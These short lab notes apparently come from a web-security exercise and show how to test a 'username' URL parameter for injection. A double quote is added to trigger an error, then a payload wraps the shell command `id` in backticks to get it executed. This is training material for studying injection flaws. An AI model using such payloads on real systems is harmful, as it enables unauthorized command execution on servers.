# Add a " (double-quote) at the end and you will see an error.
https://ptl-3d9b6ba3-e492b0d5.libcurl.so/?username="
https://ptl-3d9b6ba3-e492b0d5.libcurl.so/?username=iptracej"
# Add the following payload:
# "+`id`+"
https://<URL>/?username="%2b`id`%2b"
